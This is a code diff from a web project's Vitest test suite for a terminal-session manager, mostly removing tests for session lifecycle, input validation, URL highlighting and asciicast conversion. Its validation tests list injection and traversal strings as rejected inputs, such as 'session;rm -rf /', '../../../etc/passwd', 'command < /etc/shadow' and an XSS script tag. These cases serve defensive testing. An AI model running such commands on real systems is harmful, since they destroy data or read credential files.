await new Promise<void>((resolve) => {
ws.on('open', resolve);
});
// Send a large message
const largeData = 'x'.repeat(1024 * 1024); // 1MB
ws.send(JSON.stringify({ type: 'test', data: largeData }));
// Should handle it without issues
await new Promise((resolve) => setTimeout(resolve, 200));
expect(ws.readyState).toBe(WebSocket.OPEN);
ws.close();
});
});
});

View file

@ -1,495 +0,0 @@
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { spawn } from 'child_process';
import { EventEmitter } from 'events';
// Mock modules
vi.mock('child_process', () => ({
spawn: vi.fn(),
}));
vi.mock('fs', () => {
const mockFsDefault = {
existsSync: vi.fn(() => true),
mkdirSync: vi.fn(),
readdirSync: vi.fn(() => []),
createReadStream: vi.fn(() => {
const stream = new EventEmitter();
process.nextTick(() => stream.emit('end'));
return stream;
}),
};
return {
default: mockFsDefault,
...mockFsDefault, // Also export named exports
};
});
vi.mock('os', () => {
const mockOs = {
homedir: () => '/home/test',
};
return {
default: mockOs,
...mockOs, // Also export named exports
};
});
describe('Session Manager', () => {
let mockSpawn: ReturnType<typeof vi.fn>;
beforeEach(() => {
vi.clearAllMocks();
mockSpawn = vi.mocked(spawn);
// Default mock for tty-fwd
const mockTtyFwdProcess = {
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('{}'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
};
mockSpawn.mockReturnValue(mockTtyFwdProcess);
});
afterEach(() => {
vi.restoreAllMocks();
});
describe('Session Lifecycle', () => {
it('should create a session with valid parameters', async () => {
await import('../../server');
// Simulate session creation through the spawn command
const command = ['bash', '-l'];
const workingDir = '/home/test/projects';
const mockProcess = {
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Session created successfully'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
};
mockSpawn.mockImplementationOnce(() => mockProcess);
// Test the spawn command execution
const args = ['spawn', '--name', 'Test Session', '--cwd', workingDir, '--', ...command];
const result = await new Promise((resolve) => {
const proc = mockSpawn('tty-fwd', args);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', () => {
resolve(output);
});
});
expect(result).toBe('Session created successfully');
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
});
it('should handle session with environment variables', async () => {
const env = { NODE_ENV: 'test', CUSTOM_VAR: 'value' };
const command = ['node', 'app.js'];
// Test environment variable passing
const envArgs = Object.entries(env).flatMap(([key, value]) => ['--env', `${key}=${value}`]);
const args = ['spawn', ...envArgs, '--', ...command];
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
mockSpawn('tty-fwd', args);
expect(mockSpawn).toHaveBeenCalledWith(
'tty-fwd',
expect.arrayContaining(['--env', 'NODE_ENV=test', '--env', 'CUSTOM_VAR=value'])
);
});
it('should list all active sessions', async () => {
const mockSessions = {
'session-1': {
cmdline: ['vim', 'test.txt'],
cwd: '/home/test',
exit_code: null,
name: 'vim',
pid: 1234,
started_at: '2024-01-01T00:00:00Z',
status: 'running',
stdin: '/tmp/session-1.stdin',
'stream-out': '/tmp/session-1.out',
waiting: false,
},
'session-2': {
cmdline: ['bash'],
cwd: '/home/test/projects',
exit_code: 0,
name: 'bash',
pid: 5678,
started_at: '2024-01-01T00:10:00Z',
status: 'exited',
stdin: '/tmp/session-2.stdin',
'stream-out': '/tmp/session-2.out',
waiting: false,
},
};
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from(JSON.stringify(mockSessions)));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
// Execute list command
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['list']);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(JSON.parse(output));
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
expect(result).toEqual(mockSessions);
expect(Object.keys(result as Record<string, unknown>)).toHaveLength(2);
});
it('should terminate a running session', async () => {
const sessionId = 'session-to-terminate';
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Session terminated'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['terminate', sessionId]);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
expect(result).toBe('Session terminated');
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['terminate', sessionId]);
});
it('should clean up exited sessions', async () => {
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Cleaned up 3 exited sessions'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['clean']);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(output);
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
expect(result).toBe('Cleaned up 3 exited sessions');
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['clean']);
});
});
describe('Session I/O Operations', () => {
it('should write input to a session', async () => {
const sessionId = 'interactive-session';
const input = 'echo "Hello, World!"\n';
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
mockSpawn('tty-fwd', ['write', sessionId, input]);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['write', sessionId, input]);
});
it('should resize terminal dimensions', async () => {
const sessionId = 'resize-session';
const cols = 120;
const rows = 40;
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
mockSpawn('tty-fwd', ['resize', sessionId, String(cols), String(rows)]);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['resize', sessionId, '120', '40']);
});
it('should get terminal snapshot', async () => {
const sessionId = 'snapshot-session';
const mockSnapshot = {
lines: [
'user@host:~$ ls -la',
'total 48',
'drwxr-xr-x 6 user user 4096 Jan 1 00:00 .',
'drwxr-xr-x 20 user user 4096 Jan 1 00:00 ..',
],
cursor: { x: 18, y: 0 },
cols: 80,
rows: 24,
};
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from(JSON.stringify(mockSnapshot)));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
const result = await new Promise((resolve, reject) => {
const proc = mockSpawn('tty-fwd', ['snapshot', sessionId]);
let output = '';
proc.stdout.on('data', (data: Buffer) => {
output += data.toString();
});
proc.on('close', (code: number) => {
if (code === 0) {
resolve(JSON.parse(output));
} else {
reject(new Error(`Process exited with code ${code}`));
}
});
});
expect(result).toEqual(mockSnapshot);
expect((result as { lines: unknown[]; cursor: { x: number; y: number } }).lines).toHaveLength(
4
);
expect((result as { lines: unknown[]; cursor: { x: number; y: number } }).cursor).toEqual({
x: 18,
y: 0,
});
});
it('should stream terminal output', async () => {
const sessionId = 'stream-session';
const mockStreamProcess = new EventEmitter() as EventEmitter & {
stdout: EventEmitter;
stderr: EventEmitter;
kill: ReturnType<typeof vi.fn>;
};
mockStreamProcess.stdout = new EventEmitter();
mockStreamProcess.stderr = new EventEmitter();
mockStreamProcess.kill = vi.fn();
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
// Start streaming
const streamData: string[] = [];
const proc = mockSpawn('tty-fwd', ['stream', sessionId]);
proc.stdout.on('data', (data: Buffer) => {
streamData.push(data.toString());
});
// Simulate streaming data
mockStreamProcess.stdout.emit('data', Buffer.from('Line 1\n'));
mockStreamProcess.stdout.emit('data', Buffer.from('Line 2\n'));
mockStreamProcess.stdout.emit('data', Buffer.from('Line 3\n'));
expect(streamData).toEqual(['Line 1\n', 'Line 2\n', 'Line 3\n']);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', ['stream', sessionId]);
});
});
describe('Error Handling', () => {
it('should handle session creation failure', async () => {
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Error: Failed to create session'));
}
}),
},
on: vi.fn((event, callback) => {
if (event === 'close') callback(1);
}),
kill: vi.fn(),
}));
const result = await new Promise((resolve) => {
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'invalid-command']);
let error = '';
proc.stderr.on('data', (data: Buffer) => {
error += data.toString();
});
proc.on('close', (code: number) => {
resolve({ code, error });
});
});
expect((result as { code: number; error: string }).code).toBe(1);
expect((result as { code: number; error: string }).error).toContain(
'Failed to create session'
);
});
it('should handle timeout for long-running commands', async () => {
const mockSlowProcess = {
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
on: vi.fn(),
kill: vi.fn(),
};
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
const proc = mockSpawn('tty-fwd', ['list']);
// Simulate timeout
const timeoutId = setTimeout(() => {
proc.kill('SIGTERM');
}, 100);
expect(proc.kill).toBeDefined();
clearTimeout(timeoutId);
});
it('should handle invalid session ID', async () => {
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Error: Session not found'));
}
}),
},
on: vi.fn((event, callback) => {
if (event === 'close') callback(1);
}),
kill: vi.fn(),
}));
const result = await new Promise((resolve) => {
const proc = mockSpawn('tty-fwd', ['terminate', 'non-existent-session']);
let error = '';
proc.stderr.on('data', (data: Buffer) => {
error += data.toString();
});
proc.on('close', (code: number) => {
resolve({ code, error });
});
});
expect((result as { code: number; error: string }).code).toBe(1);
expect((result as { code: number; error: string }).error).toContain('Session not found');
});
});
});

View file

@ -1,37 +1,6 @@
import { vi } from 'vitest';
// Set test environment
process.env.NODE_ENV = 'test';
// Only mock node-pty for unit tests, not integration tests
if (!process.env.VITEST_INTEGRATION) {
// Mock node-pty for tests since it requires native bindings
vi.mock('node-pty', () => ({
spawn: vi.fn(() => ({
pid: 12345,
process: 'mock-process',
write: vi.fn(),
resize: vi.fn(),
kill: vi.fn(),
on: vi.fn(),
onData: vi.fn(),
onExit: vi.fn(),
})),
}));
}
// Set up global test utilities
global.fetch = vi.fn();
// Mock WebSocket for tests
global.WebSocket = vi.fn(() => ({
send: vi.fn(),
close: vi.fn(),
addEventListener: vi.fn(),
removeEventListener: vi.fn(),
readyState: 1,
})) as unknown as typeof WebSocket;
// Add custom matchers if needed
expect.extend({
toBeValidSession(received) {

View file

@ -1,16 +0,0 @@
import { describe, it, expect } from 'vitest';
describe('Smoke Test', () => {
it('should run basic math', () => {
expect(1 + 1).toBe(2);
});
it('should handle async operations', async () => {
const result = await Promise.resolve('test');
expect(result).toBe('test');
});
it('should verify test environment', () => {
expect(process.env.NODE_ENV).toBe('test');
});
});

View file

@ -1,280 +0,0 @@
import { describe, it, expect } from 'vitest';
// Session validation utilities that should be in the actual code
const validateSessionId = (id: unknown): boolean => {
return typeof id === 'string' && /^[a-f0-9-]+$/.test(id);
};
const validateCommand = (command: unknown): boolean => {
return (
Array.isArray(command) &&
command.length > 0 &&
command.every((arg) => typeof arg === 'string' && arg.length > 0)
);
};
const validateWorkingDir = (dir: unknown): boolean => {
return typeof dir === 'string' && dir.length > 0 && !dir.includes('\0');
};
const sanitizePath = (path: string): string => {
// Remove null bytes and normalize
return path.replace(/\0/g, '').normalize();
};
const isValidSessionName = (name: unknown): boolean => {
return (
typeof name === 'string' &&
name.length > 0 &&
name.length <= 255 &&
// eslint-disable-next-line no-control-regex
!/[<>:"|?*\x00-\x1f]/.test(name)
);
};
describe('Session Validation', () => {
describe('validateSessionId', () => {
it('should accept valid session IDs', () => {
const validIds = [
'abc123def456',
'123e4567-e89b-12d3-a456-426614174000',
'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
'a1b2c3d4',
];
validIds.forEach((id) => {
expect(validateSessionId(id)).toBe(true);
});
});
it('should reject invalid session IDs', () => {
const invalidIds = [
'',
null,
undefined,
123,
'session with spaces',
'../../../etc/passwd',
'session;rm -rf /',
'session$variable',
'session`command`',
];
invalidIds.forEach((id) => {
expect(validateSessionId(id)).toBe(false);
});
});
});
describe('validateCommand', () => {
it('should accept valid commands', () => {
const validCommands = [
['bash'],
['ls', '-la'],
['node', 'app.js'],
['python', '-m', 'http.server', '8000'],
['vim', 'file.txt'],
];
validCommands.forEach((cmd) => {
expect(validateCommand(cmd)).toBe(true);
});
});
it('should reject invalid commands', () => {
const invalidCommands = [
[],
null,
undefined,
'bash',
[''],
[123],
[null],
['bash', null],
['bash', 123],
];
invalidCommands.forEach((cmd) => {
expect(validateCommand(cmd)).toBe(false);
});
});
});
describe('validateWorkingDir', () => {
it('should accept valid directories', () => {
const validDirs = [
'/home/user',
'/tmp',
'.',
'..',
'/home/user/projects/my-app',
'C:\\Users\\User\\Documents',
];
validDirs.forEach((dir) => {
expect(validateWorkingDir(dir)).toBe(true);
});
});
it('should reject invalid directories', () => {
const invalidDirs = ['', null, undefined, 123, '/path/with\0null', '\0/etc/passwd'];
invalidDirs.forEach((dir) => {
expect(validateWorkingDir(dir)).toBe(false);
});
});
});
describe('isValidSessionName', () => {
it('should accept valid session names', () => {
const validNames = [
'My Session',
'Project Build',
'test-123',
'Development Server',
'SSH to production',
];
validNames.forEach((name) => {
expect(isValidSessionName(name)).toBe(true);
});
});
it('should reject invalid session names', () => {
const invalidNames = [
'',
null,
undefined,
'a'.repeat(256),
'session<script>',
'session>redirect',
'session:colon',
'session"quote',
'session|pipe',
'session?question',
'session*asterisk',
'session\0null',
'session\x01control',
];
invalidNames.forEach((name) => {
expect(isValidSessionName(name)).toBe(false);
});
});
});
describe('sanitizePath', () => {
it('should remove null bytes', () => {
expect(sanitizePath('/path/with\0null')).toBe('/path/withnull');
expect(sanitizePath('\0/etc/passwd')).toBe('/etc/passwd');
expect(sanitizePath('file\0\0\0.txt')).toBe('file.txt');
});
it('should normalize paths', () => {
expect(sanitizePath('/path//to///file')).toBe('/path//to///file');
expect(sanitizePath('café.txt')).toBe('café.txt');
});
it('should handle clean paths', () => {
expect(sanitizePath('/home/user')).toBe('/home/user');
expect(sanitizePath('file.txt')).toBe('file.txt');
});
});
describe('Environment Variable Validation', () => {
const isValidEnvVar = (env: unknown): boolean => {
if (typeof env !== 'object' || env === null) return false;
for (const [key, value] of Object.entries(env)) {
// Key must be valid env var name
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(key)) return false;
// Value must be string
if (typeof value !== 'string') return false;
// No null bytes
if (value.includes('\0')) return false;
}
return true;
};
it('should accept valid environment variables', () => {
const validEnvs = [
{ PATH: '/usr/bin:/usr/local/bin' },
{ NODE_ENV: 'production' },
{ HOME: '/home/user', SHELL: '/bin/bash' },
{ API_KEY: 'secret123', PORT: '3000' },
];
validEnvs.forEach((env) => {
expect(isValidEnvVar(env)).toBe(true);
});
});
it('should reject invalid environment variables', () => {
const invalidEnvs = [
null,
undefined,
'not an object',
{ '': 'empty key' },
{ '123start': 'number start' },
{ 'has-dash': 'invalid char' },
{ 'has space': 'invalid char' },
{ valid: 123 },
{ valid: null },
{ valid: undefined },
{ valid: 'has\0null' },
];
invalidEnvs.forEach((env) => {
expect(isValidEnvVar(env)).toBe(false);
});
});
});
describe('Command Injection Prevention', () => {
const hasDangerousPatterns = (input: string): boolean => {
const dangerous = [
/[;&|`$(){}[\]<>]/, // Shell metacharacters
/\.\./, // Directory traversal
/\0/, // Null bytes
/\n|\r/, // Newlines
];
return dangerous.some((pattern) => pattern.test(input));
};
it('should detect dangerous patterns', () => {
const dangerous = [
'command; rm -rf /',
'command && evil',
'command || evil',
'command | evil',
'command `evil`',
'command $(evil)',
'command > /etc/passwd',
'command < /etc/shadow',
'../../../etc/passwd',
'file\0.txt',
'multi\nline',
];
dangerous.forEach((input) => {
expect(hasDangerousPatterns(input)).toBe(true);
});
});
it('should allow safe patterns', () => {
const safe = [
'normal-file.txt',
'my_session_123',
'/home/user/project',
'Project Name',
'test@example.com',
];
safe.forEach((input) => {
expect(hasDangerousPatterns(input)).toBe(false);
});
});
});
});

View file

@ -1,234 +0,0 @@
import { describe, it, expect } from 'vitest';
// Mock implementations for testing
class UrlHighlighter {
highlight(text: string): string {
// Escape HTML first
const escaped = text
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#039;');
// Then detect and highlight URLs
return escaped.replace(
/(https?:\/\/[^\s]+)/g,
'<a href="$1" target="_blank" rel="noopener noreferrer">$1</a>'
);
}
}
class CastConverter {
private width: number;
private height: number;
private events: Array<[number, 'o', string]> = [];
private title?: string;
private env?: Record<string, string>;
constructor(width: number, height: number) {
this.width = width;
this.height = height;
}
addOutput(output: string, timestamp: number): void {
this.events.push([timestamp, 'o', output]);
}
setTitle(title: string): void {
this.title = title;
}
setEnvironment(env: Record<string, string>): void {
this.env = env;
}
getCast(): {
version: number;
width: number;
height: number;
timestamp: number;
title?: string;
env: Record<string, string>;
events: Array<[number, 'o', string]>;
} {
return {
version: 2,
width: this.width,
height: this.height,
timestamp: Math.floor(Date.now() / 1000),
title: this.title,
env: this.env || {},
events: this.events,
};
}
toJSON(): string {
return JSON.stringify(this.getCast());
}
}
describe('Utility Functions', () => {
describe('UrlHighlighter', () => {
it('should detect http URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Check out http://example.com for more info';
const result = highlighter.highlight(text);
expect(result).toContain('<a');
expect(result).toContain('href="http://example.com"');
expect(result).toContain('http://example.com</a>');
});
it('should detect https URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Secure site: https://secure.example.com/path';
const result = highlighter.highlight(text);
expect(result).toContain('href="https://secure.example.com/path"');
});
it('should handle multiple URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Visit http://site1.com and https://site2.com';
const result = highlighter.highlight(text);
const matches = result.match(/<a[^>]*>/g);
expect(matches).toHaveLength(2);
});
it('should preserve text around URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Before http://example.com after';
const result = highlighter.highlight(text);
expect(result).toMatch(/^Before <a[^>]*>http:\/\/example\.com<\/a> after$/);
});
it('should handle text without URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'No URLs here, just plain text';
const result = highlighter.highlight(text);
expect(result).toBe(text);
});
it('should escape HTML in non-URL text', () => {
const highlighter = new UrlHighlighter();
const text = '<script>alert("xss")</script> http://safe.com';
const result = highlighter.highlight(text);
expect(result).not.toContain('<script>');
expect(result).toContain('&lt;script&gt;');
expect(result).toContain('<a');
});
it('should handle localhost URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Local dev: http://localhost:3000/api';
const result = highlighter.highlight(text);
expect(result).toContain('href="http://localhost:3000/api"');
});
it('should handle IP address URLs', () => {
const highlighter = new UrlHighlighter();
const text = 'Server at http://192.168.1.1:8080';
const result = highlighter.highlight(text);
expect(result).toContain('href="http://192.168.1.1:8080"');
});
});
describe('CastConverter', () => {
it('should create basic cast structure', () => {
const converter = new CastConverter(80, 24);
const cast = converter.getCast();
expect(cast.version).toBe(2);
expect(cast.width).toBe(80);
expect(cast.height).toBe(24);
expect(cast.timestamp).toBeGreaterThan(0);
expect(Array.isArray(cast.events)).toBe(true);
});
it('should add output events', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('Hello World\n', 1.0);
const cast = converter.getCast();
expect(cast.events).toHaveLength(1);
expect(cast.events[0]).toEqual([1.0, 'o', 'Hello World\n']);
});
it('should handle multiple events in order', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('First\n', 0.5);
converter.addOutput('Second\n', 1.0);
converter.addOutput('Third\n', 1.5);
const cast = converter.getCast();
expect(cast.events).toHaveLength(3);
expect(cast.events[0][0]).toBe(0.5);
expect(cast.events[1][0]).toBe(1.0);
expect(cast.events[2][0]).toBe(1.5);
});
it('should handle empty output', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('', 1.0);
const cast = converter.getCast();
expect(cast.events).toHaveLength(1);
expect(cast.events[0][2]).toBe('');
});
it('should handle special characters', () => {
const converter = new CastConverter(80, 24);
const specialChars = '\x1b[31mRed Text\x1b[0m\n';
converter.addOutput(specialChars, 1.0);
const cast = converter.getCast();
expect(cast.events[0][2]).toBe(specialChars);
});
it('should export valid JSON', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('Test\n', 1.0);
const json = converter.toJSON();
const parsed = JSON.parse(json);
expect(parsed.version).toBe(2);
expect(parsed.width).toBe(80);
expect(parsed.height).toBe(24);
expect(parsed.events).toHaveLength(1);
});
it('should set custom environment', () => {
const converter = new CastConverter(80, 24);
const env = { SHELL: '/bin/bash', TERM: 'xterm-256color' };
converter.setEnvironment(env);
const cast = converter.getCast();
expect(cast.env).toEqual(env);
});
it('should set custom title', () => {
const converter = new CastConverter(80, 24);
converter.setTitle('My Recording');
const cast = converter.getCast();
expect(cast.title).toBe('My Recording');
});
it('should handle timing precision', () => {
const converter = new CastConverter(80, 24);
converter.addOutput('Output', 1.123456789);
const cast = converter.getCast();
// Should maintain precision to at least 5 decimal places
expect(cast.events[0][0]).toBeCloseTo(1.123456, 5);
});
});
});

18
web/vitest.config.e2e.ts Normal file
View file

@ -0,0 +1,18 @@
import { defineConfig } from 'vitest/config';
import path from 'path';
export default defineConfig({
test: {
globals: true,
environment: 'node',
// NO SETUP FILES - we want raw, unmocked environment
include: ['src/test/e2e/**/*.test.ts'],
testTimeout: 60000, // E2E tests need more time
hookTimeout: 30000, // Cleanup hooks need time too
},
resolve: {
alias: {
'@': path.resolve(__dirname, './src'),
},
},
});

View file

@ -1,42 +0,0 @@
import { defineConfig } from 'vitest/config';
import path from 'path';
export default defineConfig({
test: {
globals: true,
environment: 'node',
setupFiles: ['./src/test/setup.integration.ts'],
include: ['src/test/integration/**/*.test.ts'],
coverage: {
provider: 'v8',
reporter: ['text', 'json', 'html', 'lcov'],
exclude: [
'node_modules/',
'src/test/',
'dist/',
'public/',
'*.config.ts',
'*.config.js',
'**/*.test.ts',
'**/*.spec.ts',
],
include: [
'src/**/*.ts',
'src/**/*.js',
],
all: true,
},
testTimeout: 30000, // Integration tests may take longer
pool: 'forks', // Use separate processes for integration tests
poolOptions: {
forks: {
singleFork: true, // Run tests sequentially to avoid port conflicts
},
},
},
resolve: {
alias: {
'@': path.resolve(__dirname, './src'),
},
},
});